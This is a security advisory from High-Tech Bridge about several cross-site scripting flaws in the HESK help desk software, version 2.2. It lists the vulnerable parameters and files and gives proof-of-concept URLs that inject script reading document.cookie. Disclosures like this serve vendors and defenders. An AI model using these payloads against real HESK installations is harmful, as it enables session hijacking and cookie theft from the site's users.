Vulnerability ID: HTB23030
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_hesk.html
Product: HESK
Vendor: Klemen Stirn ( http://www.hesk.com/ ) 
Vulnerable Version: 2.2 and probably prior
Tested on: 2.2
Vendor Notification: 06 July 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
1) High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in HESK, which can be exploited to perform cross-site scripting attacks.

Input passed via the hesk_settings[tmp_title] and hesklang[ENCODING] parameters to /inc/header.inc.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/inc/header.inc.php?hesk_settings[tmp_title]=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/header.inc.php?hesklang[ENCODING]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

2) Input passed via the hesklang[attempt] parameter to multiple files in /inc/ directory is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/inc/assignment_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/attachments.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/common.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/database.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/prepare_ticket_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/print_tickets.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/show_admin_nav.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/show_search_form.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/inc/ticket_list.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

3) Input appended to the URL after /language/en/text.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/language/en/text.php/%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E